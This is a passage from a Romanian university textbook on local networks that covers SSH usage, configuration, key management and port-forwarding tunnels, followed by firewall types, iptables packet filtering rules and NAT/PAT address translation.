baza lui de date, pentru a verifica dac nu s-a schimbat, apoi genereaz un numr aleator pe
256 de bii. Clientul cripteaz acest numr folosind nti host key i apoi server key i trimite
numrul criptat la server. n continuare ambele pri vor folosi acest numr aleator ca o cheie
de criptare.
6.1.2 Configuraii de baz SSH
6.1.2.1 Utilizarea serviciului ssh
Comanda de conectare la un server SSH are doi parametrii importani: numele
utilizatorului i adresa (numele) serverului destinaie. Serverul de SSH la care se va face
conectarea: securessh.pub.ro (n exemplul de mai jos), acest nume este un nume public, pe
care serviciul de DNS l va traduce ntr-o adres IP. Dac se dorete conectarea la un server dar
nu se cunoate numele su DNS, se poate introduce direct IP-ul serverului. Cnd un client
iniiaz o conexiune ssh pe un server, trebuie s se conecteze pe un utilizator existent pe acel
server pentru a putea avea acces la interpretorul de comenzi. Parametrul bogdand specific
utilizatorul n contul cruia se va intra la stabilirea conexiunii.
waters@myr:/$ ssh bogdand@securessh.pub.ro
Password:
Last login: Wed Sep 19 14:37:29 2007 from 86.121.138.243
Welcome to the dark side.. we've got cookies!
securessh:/$
n rezultatul comenzii de mai sus se poate observa faptul ca s-au mai fcut conexiuni
anterioare pe acel server de SSH, fiind oferit att ora i data ultimei conexiuni, ct i adresa IP
de la care s-a realizat conexiunea.
Cnd un client de SSH iniiaz pentru prima dat o conexiune ctre un server nou, acesta
din urm va trebui sa se autentifice ctre client. Fiecare server de SSH are un identificator unic
(host key) cu care se autentific clienilor. Acest ID este implementat prin chei publice i chei
private. La primirea unei conexiuni de la un client, serverul ofer cheia sa public, fcnd astfel
posibil autentificarea. La acceptarea cheii publice de la server, clientul adaug aceast cheie
n fiierul known_hosts. Astfel, urmtoarea conexiune pe care acest client o va face la server
nu va mai necesita transferul cheii publice, aceasta existnd deja stocat pe client.
Pentru a realiza acest lucru, clientul SSH va salva cheia serverului n fiierul local
$HOME/.ssh/known_hosts. La urmtoarea conectare pe acelai server, clientul SSH va verifica
acest fiier i, dac va gsi cheia public oferit de acesta se va afia pentru autentificare doar
parola.
Un exemplu de fiier known_hosts este urmtorul:
waters@myr:/$ ls ~/.ssh/known-hosts

acmserver,141.85.37.165 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA7ijnAivb7dfGLkfYJlSk0wDWd2MkeP9YQctVfyb/8OfgVTLlp3eMimItJKv7rL5Angb
+A8bxdBy+tn7n0iDyoMNIAQP+rVBG2tDw1wTdl0mAhes90rOy4xOtVBOaF40dg7iy3/9zgp8HlVdiVjibuXeaIKAzew/k/I
XSB8YRd18=
atlantis.cs.pub.ro,141.85.37.4 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAqJT/wsciLHg9g1CHrFkvx9KaSl4Z7uQROWSEJd6zFWey4aMmcW//A6rrNK7DK6luv+A
eJLMHA8+1IcnzDSV+pFUH/7IeR1ryrkyGmQRjnp5crrVDPY+ixOrR3Drpn6tpEb8woW12Ti0QXGNywc3g7w7VbSTP7AZGwN
lMBes26PM=
210 | R e e l e L o c a l e

Pe prima linie sunt trecute numele serverului de la distan i adresa IP a acestuia, apoi
urmnd cheia public. n exemplul de mai sus exist dou servere la care utilizatorul s-a
conectat n prealabil i a cror cheie public a fost salvat.
Aceste chei se pot afla n dou locuri din sistemul de fiiere:
/etc/ssh/ssh_known_hosts, fiier a crui locaie poate fi schimbat alterarea directivei
GlobalKnownHostsFile din fiierul de configurare /etc/ssh/ssh_config.
$HOME/.ssh/known_hosts, fiier a crui locaie poate fi schimbat prin alterarea directivei
UserKnownHostsFile din acelai fiier de configurare.
n captura de mai jos se poate observa cum la prima conexiune realizat la un server,
clientul reine amprenta acestuia n fiierul known_hosts:
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
student@localhost's password:
Linux ubuntu 2.6.15-26-386 # 1 PREEMPT Thu Aug 3 02:52:00 UTC 2006 i686 GNU/Linux
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
6.1.2.2 Utilizarea SSH pentru rularea de comenzi la distan
Sintaxa complet a utilitarul ssh permite precizarea unei liste de parametri a utilizatorului
i a adresei destinaie, precum i a unei comenzi ce va fi rulat dup stabilirea sesiunii SSH.
Dac nu este precizat o comand se va rula un interpretor de comenzi (cel mai adesea
/bin/bash).
n exemplul de mai jos, sunt rulate local dou comenzi separate prin ;. Apoi se ruleaz
aceleai comenzi (de data aceasta protejate ntre ghilimele), rezultatul afiat este cel al
executrii lor pe staia destinaie, dup autentificarea cu utilizatorul bogdand. Se observ din
exemplu c autentificarea se realizeaz fr a interoga utilizatorul, aceasta fiind rezultatul unei
autentificri pe baz de chei.
waters@myr:~$ hostname; pwd
apple
/home/rrazvan
rrazvan@apple:~$ ssh bogdand@141.85.99.5 "hostname; pwd"
kiwi
/home/users/bogdand
ntrebarea ce se ridic n continuare este cum se poate verifica amprenta RSA. Dac s-a
realizat o conexiune la un server SSH, dar un atacator a interceptat conexiunea, este posibil ca
n urma unei neatenii, prin simpla acceptare a respectivei chei, s se accepte de fapt cheia
fals i nu pe cea real. O metod ar putea fi publicarea amprentei RSA (cheia public) pe site-
ul oficial al celui ce ofer un astfel de serviciu. Dac nu exist aceast posibilitate, cheia
trebuie verificat imediat dup ce v-ai autentificat. Acest lucru se realizeaz folosind utilitarul
ssh-keygen i comparnd rezultatele obinute cu cele oferite de server. Dac rezultatele sunt
identice, atunci autentificarea s-a realizat cu succes pe staia dorit.
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub
Exist dou modaliti de execuie a comenzilor prin SSH. Prima presupune executarea
comenzilor dorite dup realizarea conexiunii. Prin cea de-a doua metod comenzile dorite
sunt date ca argumente clientului SSH. Pentru aceasta din urm, de fiecare dat cnd se va
executa o anumit comand, va trebui introdus parola utilizatorului ce deschide sesiunea.
root@myr:~# ssh student@localhost ls
student@localhost's password:
Examples
root@myr:~# ssh student@localhost pwd
student@localhost's password:
/home/student
root@myr:~# ssh student@localhost uname -a
211 | S e c u r i t a t e i m o n i t o r i z a r e

student@localhost's password:
Linux ubuntu 2.6.15-26-386 # 1 PREEMPT Thu Aug 3 02:52:00 UTC 2006 i686 GNU/Linux
6.1.2.3 Fiierul de configurare pentru server
Fiierul principal pentru configurarea serverului SSH este /etc/ssh/sshd_config. Cteva
directive importante pentru configurarea serviciului sunt:
[Port 22] specific portul pe care ascult serverul; portul implicit este 22.
[ListenAddress 192.168.1.2] specific interfaa pe care ascult daemon-ul sshd.
Adresa implicit este 0.0.0.0, reprezentnd faptul c se ascult pe toate interfeele.
[HostKey /etc/ssh/ssh_host_key] specific fiierul n care este
inut cheia privat a utilizatorului.
[ServerKeyBits 1024] definete numrul de bii din server key (implicit 768).
[KeyRegenerationInterval 3600] specific dup ct timp va fi regenerat cheia
serverului. Aceasta poate fi o metod de a preveni decriptarea n cazul interceptrii unei
sesiuni n urma unui atac man-in-the-middle.
[PermitRootLogin] poate fi yes, nopwd sau no i se refer la posibilitatea
autentificrii prin SSH folosind contul de root; nopwd semnific faptul c nu este permis
autentificarea cu parol. Aceast opiune trebuie ntotdeauna setat pe no din motive de
securitate.
[X11Forwarding yes] specific dac este permis redirectarea conexiunilor X11 peste o
conexiune de SSH.
[RSAAuthentication yes] specific folosirea autentificrii folosind protocolul RSA.
[AllowUsers admin] specific utilizatorii care se pot conecta prin acest serviciu.
[PrintMotd] specific dac sshd-ul va afia coninutul fiierului /etc/motd dup
autentificarea unui utilizator. MOTD (Message of the Day) reprezint un text afiat
utilizatorului dup autentificare, dar nainte de apariia promptului, care conine mesaje de la
administrator.
6.1.2.4 Copierea fiierelor la distan
Unul dintre utilitarele importante ce aparin pachetului OpenSSH este scp (Secure Copy).
SCP este un protocol folosit n transferul sigur de fiiere ntre dou staii, pe durata
transferului datele fiind criptate de o sesiune SSH. Protocolul n sine nu asigur autentificarea
i securitatea comunicaiei, acestea fiind asigurate de ctre protocolul SSH.
Astfel, dac se dorete copierea unui fiier de pe staia local pe o staie la distan se
poate folosi urmtoarea sintax:
scp cale_fiier_local utilizator@staie_distan:/cale_fiier
n schimb, dac se dorete copierea unui fiier de pe o staie la distan pe staia local se
poate folosi urmtoarea sintax:
scp utilizator@staie_distan:/cale_fiier_remote /cale_fiier

Not: daca se folosete o adresare relativ, nu se mai folosete / la nceputul cii
fiierului
6.1.2.4.1 Copierea unui singur fiier pe o staie la distan
n exemplul de mai jos, se va copia fiierul test.txt de pe staia local (directorul local)
pe staia anaconda.cs.pub.ro. Fiierul va fi copiat n directorul home al utilizatorului user, cu
numele NewTest.txt.
root@myr:~# scp test.txt user@anaconda.cs.pub.ro:NewTest.txt
212 | R e e l e L o c a l e

Pentru a pstra numele original al fiierului ce trebuie copiat se omite specificarea noului
nume.
root@myr:~# scp test.txt user@anaconda.cs.pub.ro:
ntr-un mod asemntor se poate realiza copierea unui director i a coninutului acestuia:
root@myr:~# scp r test user@anaconda.cs.pub.ro:Data/NewTest/
Folosind opiunea r, directorul local test va fi copiat recursiv n directorul
Data/NewTest, aflat n directorul home al utilizatorului user de pe staia
anaconda.cs.pub.ro.
6.1.2.4.2 Copierea unui singur fiier de pe o staie la distan
Pentru copierea fiierului data.txt de pe staia anaconda.cs.pub.ro, din directorul
home al utilizatorului user, n directorul curent putem folosi urmtoarea sintax:
root@myr:~# scp user@anaconda.cs.pub.ro:data.txt NewData.txt
n comanda de mai sus, fiierul se salveaz n directorul curent sub numele de
NewData.txt.
Cum s-a menionat i mai sus, se poate specifica i calea pentru fiierul ce se dorete a fi
copiat. n exemplul de mai jos, fiierul data.txt, aflat n subdirectorul scoala/teste (relativ
la directorul home al utilizatorului user), va fi copiat n directorul curent, fiierul pstrnd
acelai nume.
root@myr:~# scp user@anaconda.cs.pub.ro:scoala/teste/data.txt .
6.1.3 Configuraii avansate SSH
6.1.3.1 Redirectarea X i TCP/IP peste SSH
Dac utilizatorul folosete X11 (variabila de mediu DISPLAY fiind setat), conexiunea cu
display-ul X11 este transferat automat la distan n aa fel nct orice program X11 pornit
din shell (sau printr-o comand) este trecut prin canalul criptat i conexiunea cu adevratul
server X va fi fcut de pe maina local. Utilizatorul nu trebuie s seteze manual variabila
DISPLAY. Transferarea conexiunilor X11 poate fi configurat din linia de comand sau din
fiierele de configurare.
Redirectarea protocolului X11 trebuie activat att n fierul sshd_config (prin variabila
X11Forwarding) ct i n fiierul ssh_config (prin variabila ForwardX11). Ambele variabile
trebuiesc setate la valoarea yes.
n linia de comand putem folosi opiunea X pentru stabilirea conexiunii.
root@myr:~# ssh -X student@anaconda.cs.pub.ro
Transferarea unei conexiuni TCP/IP prin canalul sigur oferit de SSH poate fi specificat fie
din linia de comand, fie din fiierele de configurare. O aplicaie posibil a redirectrii TCP/IP
este trecerea de un firewall n vederea citirii potei electronice.
Utilitarul ssh menine i verific automat o baz de date cu identificrile bazate pe RSA ale
tuturor mainilor pe care utilizatorul s-a conectat. Baza de date este inut n
.ssh/known_hosts. Dac informaia de identificare a unui server se schimb, ssh afieaz un
avertisment i nu permite autentificarea utilizatorului pentru a preveni un atentat la parola lui.
Opiunea StrictHostKeyChecking poate fi folosit pentru a preveni autentificrile pe maini
ale cror chei nu sunt cunoscute sau care au fost schimbate.
213 | S e c u r i t a t e i m o n i t o r i z a r e

6.1.3.2 Generarea cheilor SSH
Aa cum se observ i n etapa de instalare a serverului, este necesar generarea unei
perechi de chei (public/privat). n cazul n care se dorete s se creeze o nou pereche de
chei, se folosete utilitarul ssh-keygen. Cu ajutorul acestui utilitar se creeaz dou fiiere,
unul pentru fiecare cheie. Implicit, n fiierul ~/.ssh/id_rsa este pstrat cheia privat, iar n
fiierul ~/.ssh/id_rsa_pub cheia public. Deoarece cheia privat nu trebuie inut la vedere,
ssh-keygen ofer posibilitatea introducerii unei parole (passphrase), ce va proteja fiierul n
care se pstreaz aceasta.
root@myr:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
bc:14:cc:41:ca:bc:b6:a2:10:63:19:cd:fc:68:da:32 root@ubuntu
root@ubuntu:~#
n cazul n care se dorete schimbarea passphrase-ului se poate folosi opiunea p:
root@myr:~# ssh-keygen -p
Enter file in which the key is (/root/.ssh/id_rsa):
Enter old passphrase:
Key has comment '/root/.ssh/id_rsa'
Enter new passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved with the new passphrase.
6.1.3.3 Conectare fr parol
Dac se deschid sesiuni SSH frecvente cu diferite staii ce ofer autentificare prin chei, se
poate folosi utilitarul ssh-agent. Acesta se ocup de gestionarea i stocarea cheilor private.
Pentru conectarea fr parol pe serverul la distan, utilizatorul trebuie s i copieze cheia
public n fiierul $HOME/.ssh/authorized_keys, aflat pe server.
root@myr:~# ssh-copy-id -i /root/.ssh/id_rsa.pub student@localhost
21
student@localhost's password:
Now try logging into the machine, with "ssh 'student@localhost'", and check in:
.ssh/authorized_keys
to make sure we haven't added extra keys that you weren't expecting.
Dup ce se realizeaz acest lucru, trebuie activat serviciul de stocare a cheilor private
(ssh-agent) i apoi adugate cheile n acesta (ssh-add). Pentru adugarea cheilor private va
trebui introdus passphrase-ul fiecreia, astfel nct accesul s fie permis pentru adugarea lor
n fiierul ~/.ssh/id_rsa. n urma acestor pai, conectarea se va face automat, fr nevoia
introducerii unei parole.
root@myr:~# ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-nWcDud7170/agent.7170; export SSH_AUTH_SOCK;
SSH_AGENT_PID=7171; export SSH_AGENT_PID;
echo Agent pid 7171;
root@ubuntu:~# ssh-add
Enter passphrase for /root/.ssh/id_rsa:
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)

root@myr:~# ssh student@localhost
Linux ubuntu 2.6.15-26-386 # 1 PREEMPT Thu Aug 3 02:52:00 UTC 2006 i686 GNU/Linux
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Sep 18 14:55:00 2007 from localhost
214 | R e e l e L o c a l e

6.1.3.4 Tunelare trafic printr-o conexiune SSH
Tunelarea SSH reprezint folosirea protocolului SSH i a capabilitilor acestuia, pentru a
securiza un transfer de date. Pentru crearea unui tunel SSH, clientul SSH este configurat s
redirecteze un port specificat i o adres IP (existente pe serverul SSH la distan) pe un port al
staiei locale. Odat ce conexiunea SSH a fost stabilit, utilizatorul se poate conecta la portul
local pentru accesarea serviciilor aflate pe staia la distan (pe serverul SSH), servicii ce altfel
ar fi putut fi accesibile prin conectarea direct pe portul i adresa IP a staiei la distan. Cu alte
cuvinte, aceast metod poate fi vzut ca o ncercare de ocolire a firewall-urilor, ce
filtreaz anumite servicii Internet.
Pentru a ilustra ct mai bine cele menionate mai sus se consider urmtorul scenariu. Un
utilizator obinuit dorete s i citeasc email-ul, folosind un client de email (Thunderbird,
fetchmail, mutt, Outlook etc.). Dac utilizatorul se conecteaz direct la serverul de e-mail,
clientul de e-mail va trimite numele de utilizator i parola n text clar. Acest lucru reprezint o
mare vulnerabilitate n cazul n care un intrus ascult cu un sniffer mediul.
Pentru prevenirea acestui atac se pot folosi capabilitile de tunelare oferite de SSH. Un
tunel SSH va fi folosit n modul urmtor: n loc s se realizeze conectarea direct la serverul de
e-mail, se va stabili o conexiune SSH ctre un server din interiorul reelei n care respectivul
server de e-mail se afl, sau direct ctre serverul nsui (aa cum se ntmpl cel mai adesea,
cnd serverul de e-mail ofer i serviciu SSH). Clientul SSH va realiza redirectarea portului,
astfel nct traficul ce ajunge la staia local pe portul 110 (portul implicit folosit de clientul de
email), ajunge s fie redirectat prin tunelul criptat ctre serverul de e-mail. Apoi clientul de
email poate fi configurat s utilizeze portul local, fiind pus astfe n legtur cu serverul de la
distan.
Exemplul urmtor ilustreaz snecariul discutat:
root@myr:~# ssh L 110:mailhost:110 -l user -N mailhost
mailhost reprezint numele serverului de email, 110 este portul implicit pe care ascult
clientul de email, user este numele de utilizator i opiunea N specific doar redirectarea
portului, fr executarea de comenzi.
Un alt exemplu poate fi urmtorul:
root@myr:~# ssh -L 7777:work:22 -l user gate
Regula de mai sus poate fi interpretat astfel: se deschide o sesiune SSH a utilizatorului
user, pe staia gate. Ct timp sesiunea rmne deschis, toate conexiunile ctre portul 7777
de pe staia local sunt redirectate ctre portul 22 de pe staia work.
Pentru conectarea prin tunel se specific portul local 7777.
root@myr:~# ssh p 7777 localhost
Opiunea L va spune staiei gate c de fiecare dat cnd va primi date venind cu un
marcaj de tunel, s deschid o sesiune pe portul 22 pe staia work i s trimit respectivele
date. Toate datele sunt transmise staiei gate cu un port surs aleator (ex: 2002) i cu un
marcaj de tunel. Cu alte cuvinte, staia local accept conexiuni pe portul 7777 i trimite toate
datele pe portul 2002 staiei gate, spunndu-i c acestea provin de la tunelul 7777.

215 | S e c u r i t a t e i m o n i t o r i z a r e


6-2: Tunelare SSH
Pentru a exemplifica lucrurile menionate pn acum, n seciunea de mai jos este
prezentat modul n care se poate realiza un tunel SSH.
root@myr:~# ssh -L 7777:anaconda.cs.pub.ro:22 -l cico anaconda.cs.pub.ro
Password:
Last login: Sat Sep 22 13:30:01 2007 from 86.120.171.63
Linux anaconda 2.6.18-4-686 # 1 SMP Wed May 9 23:03:12 UTC 2007 i686
[....]
anaconda:~#
Astfel se realizeaz deschiderea tunelului pe staia anaconda.cs.pub.ro. Toate
conexiunile acum vor fi redirectate prin portul 7777. Se verific i deshiderea acestuia pe staia
local.
root@myr:/etc/ssh# nmap -p 7775-7778 localhost

Starting Nmap 4.03 (http://www.insecure.org/nmap/) at 2007-09-22 14:03EEST
Interesting ports on localhost (127.0.0.1):
PORT STATE SERVICE
7775/tcp closed unknown
7776/tcp closed unknown
7777/tcp open unknown
7778/tcp closed unknown

Nmap finished: 1 IP address (1 host up) scanned in 0.057 seconds
Dup ce sa confirmat c portul 7777 a fost deschis, se poate realiza o conexiune prin
tunelul SSH deschis.
root@myr:/root/.ssh# ssh -p 7777 -l cico localhost
Password:
Last login: Sat Sep 22 13:58:01 2007 from 86.121.174.62
Linux anaconda 2.6.18-4-686 # 1 SMP Wed May 9 23:03:12 UTC 2007 i686
[....]
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
6.2 Firewall
Probabil c cel mai cunoscut dispozitiv de securitate este firewall-ul. Prin definiie,
firewall-ul este un sistem sau un grup de sisteme care implementeaz politica de acces ntre
dou sau mai multe reele. Firewall-urile pot fi clasificate n patru mari clase: firewall-uri
dedicate, firewall-uri integrate n routere, firewall-uri integrate n servere i firewall-uri
personale.
Firewall-urile dedicate sunt maini ce ruleaz un sistem de operare special conceput
pentru filtrarea de pachete i translatarea de adrese. Exemple de astfel de firewall-uri sunt
sistemele PIX sau CheckPoint. Aceste sisteme sunt capabile s susin un numr mare de
conexiuni, dar facilitile de rutare sunt extrem de limitate. Pentru o reea simpl se poate
folosi firewall-ul ca router, ns pentru reele mai complexe este necesar un router.
Firewall-urile integrate n routere sunt folosite pentru a nltura neajunsul anterior. Ele
nu pot susine acelai numr de conexiuni, dar se descurc mai bine n topologii mai complexe,
216 | R e e l e L o c a l e

unde este nevoie de facilitile unui router. Multe produse ofer faciliti de firewall integrate
n routere, de la module de firewall pentru routere high-end, pn la routerele extrem de
compacte, dedicate utilizrii n reele SOHO
1
.
Firewall-urile de server sunt implementate ca un software adiional peste un sistem de
operare de reea (Linux, NT, Win2K, Novell, UNIX). Exemple de astfel de pachete software
sunt: Netfilter, Microsoft ISA Server, Novell Border Manager. Ele sunt comparabile ca faciliti
i performane cu firewall-urile integrate n routerele de nivel mediu.
Firewall-urile personale sunt instalate pe calculatoarele personale. Ele sunt concepute
pentru a preveni atacuri doar asupra calculatorului pe care ruleaz. Este important de reinut
c aceste tipuri de firewall-uri nu sunt optimizate pentru reele ntregi de calculatoare.
Exemple de firme ce produc firewall-uri personale sunt McAfee i Symantec.
Principalele mecanisme prin care un firewall asigur protecia reelei sunt filtrarea de
pachete i translatarea de adrese, care vor fi analizate mai pe larg n continuare.
6.2.1 Filtrarea de pachete
Filtrarea de pachete este procesul prin care doar anumite pachete sunt rutate dintr-o
reea n alta, pe baza unor reguli. Filtrarea de pachete opereaz tradiional cu informaii de la
nivelurile OSI 3 i 4.
Regulile de filtrare sunt formate dintr-o parte care identific pachetul i o parte care
specific cum s se trateze pachetul. n partea de identificare se poate specifica adresa surs,
adresa destinaie, adresa de reea surs, adresa de reea destinaie, protocolul (TCP, UDP,
ICMP), portul surs sau destinaie (doar pentru TCP sau UDP), tipul mesajului (pentru ICMP),
interfaa de intrare sau ieire, i chiar i adresele de nivel doi. n principiu se poate face
identificarea pachetului cu orice informaie scris n antetul pachetului, la nivelul OSI 3, 4 sau
chiar i 2, n funcie de implementare.
Partea de tratare a pachetului specific ce anume trebuie fcut cu pachetele selectate de
o regul. Pentru filtrare exist n general trei posibiliti de tratare: acceptare, ignorare sau
respingere. n cazul acceptrii, pachetul este lsat s treac. n cazul ignorrii pachetului nu
este lsat s treac i nu se trimite notificare ctre surs. n cazul respingerii, pachetul nu este
lsat s treac, dar se trimite notificare ctre surs (un mesaj ICMP al crui tip poate fi, n
unele implementri, ales de cel care construiete regula; de cele mai multe ori se folosete un
mesaj ICMP de tip port-unreachable).
6.2.1.1 Utilitarul iptables
Iptables este utilitarul cu ajutorul cruia se pot configura politica i regulile de filtrare de
pachete sau translatare de adrese pentru Linux 2.4. Acesta face parte din proiectul Netfilter,
care implementeaz n Linux filtrarea de pachete i translatarea de adrese.
n iptables o regul are dou pri: o parte care identific pachetele i una care specific
cum trebuie tratate pachetele respective (partea int). Procesarea regulilor se face secvenial
ncepnd cu prima regul. Dac pentru un pachet ce traverseaz sistemul regula curent este
valid se va execut aciunea asociat intei. Dac nu, se trece la urmtoarea regul. Dac s-au
epuizat toate regulile dintr-un lan definit de utilizator sau dac inta este RETURN, se continu
analizarea regulilor din lanul precedent. Dac s-au epuizat toate regulile dintr-un lan
predefinit, se execut aciunea asociat politicii implicite a lanului.

1
Small Office Home Office
217 | S e c u r i t a t e i m o n i t o r i z a r e

Pachetul poate fi identificat dup adresa surs, adresa destinaie, tipul pachetului, portul
(TCP, UDP) sau tipul mesajului (ICMP), interfaa pe care intr/iese pachetul, dac este
fragment dintr-un pachet, dac este pachet care iniiaz o conexiune (TCP).
Lanurile sunt seturi de reguli prin intermediul crora se determin ce aciune trebuie
luat asupra unui pachet. Pentru fiecare dintre tabelele definite (filter, nat, mangle)
exist lanuri implicite (INPUT, OUTPUT, FORWARD, PREROUTING, POSTROUTING) ce asigur o
structur distribuit a regulilor. Cu alte cuvinte, lanurile predefinite nu caracterizeaz o
singur tabel, tabelele mprind unul sau mai multe lanuri. De exemplu, lanul de OUTPUT
aparine att tabelei filter ct i tabelei nat. La fel, lanul de INPUT aparine att tabelei
filter ct i tabelei mangle. Cnd un pachet ajunge la o staie ce implementeaz o astfel de
politic (bazat pe iptables), vor trebui luate anumite decizii asupra acestuia, realizndu-se
analiza fiecrui lan menionat mai sus. n figura de mai jos se ilustreaz modul n care se va
face verificarea fiecrui lan.


6-3: Fluxul pachetelor prin lanurile predefinite


PREROUTING INPUT FORWARD OUTPUT POSTROUTING
nat X X X
mangle X X X X X
filter X X X
6-4: Asocierea dintre tabele i lanuri la iptables
6.2.1.2 Filtrarea de pachete folosind iptables
Pentru filtrarea de pachete se folosete tabela filter. Pentru aceast tabel exist trei
lanuri predefinite: INPUT - pachete ce sunt destinate routerului, OUTPUT - pachete generate
de router, i FORWARD - pachete care sunt rutate (pachete care nici nu sunt generate de router,
nici nu sunt destinate routerului).
intele ce pot fi folosite sunt ACCEPT - pachetele sunt lsate sa treac, DROP - pachetele
sunt ignorate, QUEUE - pachetele sunt copiate n user-space pentru analize, i LOG - pachetele
sunt scrise n log.
Se poate folosi de asemenea i REJECT pentru a respinge pachetele. La aceast int se
poate specifica tipul mesajului icmp folosit pentru notificare cu opiunea --reject-with.
Pentru a ilustra mai bine lucrurile menionate mai sus fie urmtoarea regul:
iptables t filter -A INPUT -s 10.0.0.0/8 -p icmp -j DROP
Decizie de rutare
POSTROUTING
Decizia de rutare
OUTPUT
INPUT
PREROUTING
Internet
FORWARD
?
Proces
intern
?
Internet
218 | R e e l e L o c a l e

Regula de mai sus poate fi interpretat n modul urmtor: toate pachetele ce sunt
destinate staiei locale, ce au adresa IP surs n reeaua 10.0.0.0/8 i sunt de tip ICMP, nu vor fi
acceptate. Opiunea t precizeaz tabela, n cazul de fa filter, -A (append) specific
adugarea regulii lanului de INPUT, -s specific adresa IP surs a pachetelor, -p protocolul
folosit, iar j (jump) precizeaz aciunea ce va trebui ndeplinit n cazul n care pachetele se
ncadreaz n regula respectiv.
n exemplul de mai jos este prezentat configurarea iptables pentru filtrare de pachete
pe maina 141.85.37.1 din reeaua 141.85.37.0/24. Aceast main este router, firewall,
server de web, server de e-mail i server de DNS i are conectat reeaua intern pe interfaa
eth0 i legtura la Internet pe interfaa eth1.
iptables -t filter -A INPUT -s 192.168.0.0/16 -j DROP
iptables -t filter -A INPUT -s 10.0.0.0/8 -j DROP
iptables -t filter -A INPUT -p tcp --destination-port 22 -j ACCEPT
iptables -t filter -A INPUT -p tcp --destination-port 80 -j ACCEPT
iptables -t filter -A INPUT -p tcp --destination-port 25 -j ACCEPT
iptables -t filter -A INPUT -p tcp --destination-port 53 -j ACCEPT
iptables -t filter -A INPUT -p udp --destination-port 53 -j ACCEPT
iptables -t filter -A INPUT -p tcp ! --syn -j ACCEPT
iptables -t filter -A INPUT -j REJECT

iptables -t filter -A FORWARD -s 192.168.0.0/16 -j DROP
iptables -t filter -A FORWARD -s 10.0.0.0/8 -j DROP
iptables -t filter -A FORWARD -i eth1 -s 141.85.37.0/24 -j ACCEPT
iptables -t filter -A FORWARD -i eth0 -p tcp ! --syn -j ACCEPT
iptables -t filter -A FORWARD - j REJECT

iptables -t filter -A OUTPUT -s 192.168.0.0/16 -j DROP
iptables -t filter -A OUTPUT -s 10.0.0.0/8 -j DROP
Configurarea pentru pachetele ce sunt destinate mainii (lanul INPUT) conine reguli
pentru filtrarea pachetelor cu adrese private (pentru a evita atacurile ce folosesc falsificare
adreselor IP), iar apoi reguli pentru accesarea serviciilor ce ruleaz pe main: serverul de ssh,
serverul de web, serverul de e-mail, serverul de DNS. Penultima regul este necesar dac
dorim s putem accesa de pe server Internetul sau reeaua local. Regula va opri ncercrile de
conectare la server, dar va lsa pachetele de rspuns s se ntoarc la server.
Configurarea pentru pachetele ce trebuie rutate (lanul FORWARD) ncepe cu dou reguli
pentru filtrarea pachetelor cu adrese private. Urmtoarea regul accept toate pachetele ce
vin din reeaua intern i au adrese corecte (pentru a preveni atacuri ce folosesc falsificarea
adresei IP iniiate din interiorul reelei). Urmtoarea regul accept pachetele din Internet ce
sunt replici la traficul iniiat din interior, dar nu i pachetele de iniiere a unor conexiuni ctre
reeaua intern.
n fine, configurarea pentru pachetele generate de server conine reguli pentru filtrarea
adreselor private, pentru a evita folosirea serverului n atacuri ce falsific adresa IP.
6.2.2 Translatarea de adrese
Translatarea de adrese sau NAT (Network Address Translation) este procesul prin care se
modific adresele surs (SNAT) sau destinaie (DNAT) din anumite pachete care trec prin
firewall. Din punctul de vedere al securitii, translatarea de adrese se folosete pentru a
ascunde modul de adresare intern i pentru a evita accesarea staiilor interne din exterior, prin
folosirea unor adrese private n reeaua intern, adrese ce vor fi translatate la adrese publice
pentru ca staiile interne s aib acces la Internet.
Putem considera c translatarea adreselor este o funcie definit pe o mulime de adrese
(A) cu rezultate ntr-o alt mulime de adrese (B). Astfel, fiecare pachet cu o adres surs sau
destinaie din mulimea A va fi nlocuit cu o adres din mulimea B. Se spune c se realizeaz
o translatare de adrese static dac funcia de translatare este injectiv, adic fiecrei adrese
din mulimea A i corespunde o singur adres corespunztoare n mulimea B. Dac funcia de
219 | S e c u r i t a t e i m o n i t o r i z a r e

translatare nu este injectiv, adic dac pentru mai multe adrese din mulimea A corespunde
o singur adres din mulimea B, aceasta poart denumirea de translatare de adrese
dinamic.
Avantajul folosirii translatrii de adrese dinamice const n faptul c se pot partaja adrese
rutabile disponibile. Astfel, calculatoarelor din reeaua local li se aloc adrese private, iar
routerul (firewall-ul) va face o translatare de adrese dinamic din mulimea de adrese private
n mulimea de adrese publice. Se observ ns c aceast abordare permite ca doar Card(B)
calculatoare din reeaua local s aib conversaii simultane n Internet.
O metod mai avansat de translatare de adrese o reprezint translatarea de adrese
suprancrcat NAT overloaded, denumit uneori i PAT (Port Address Translation) sau
masquerading. Aceast metod permite un numr de aproximativ 64000 de conversaii
simultane de la orice host intern ctre exterior cu o singur adres extern. Implementarea
nlocuiete pachetul din reeaua local cu adresa surs S, adresa destinaie D, portul surs P,
portul destinaie Q, cu altul nou ce va avea adresa surs M (adresa routerului), adresa
destinaie D, portul surs K. Portul destinaie nu se schimb. De asemenea se memoreaz
asocierea (S,P) - K. Dac un pachet ajunge pe router din exterior, avnd adresa destinaie M,
adresa surs Q i portul destinaie K, atunci acest pachet va fi nlocuit cu un altul cu adresa
destinaie S, adresa surs Q, portul destinaie P i va fi trimis n reeaua local. Portul surs nu
se schimb.

6-5: NAT overloaded (PAT)
Un caz special al PAT l reprezint redirectarea. n acest caz se va nlocui pachetul primit
din reeaua local avnd adresa surs S, adresa destinaie D, portul P cu un altul avnd adresa
surs S, adresa destinaie M (adresa routerului), portul R (portul n care se face redirectarea,
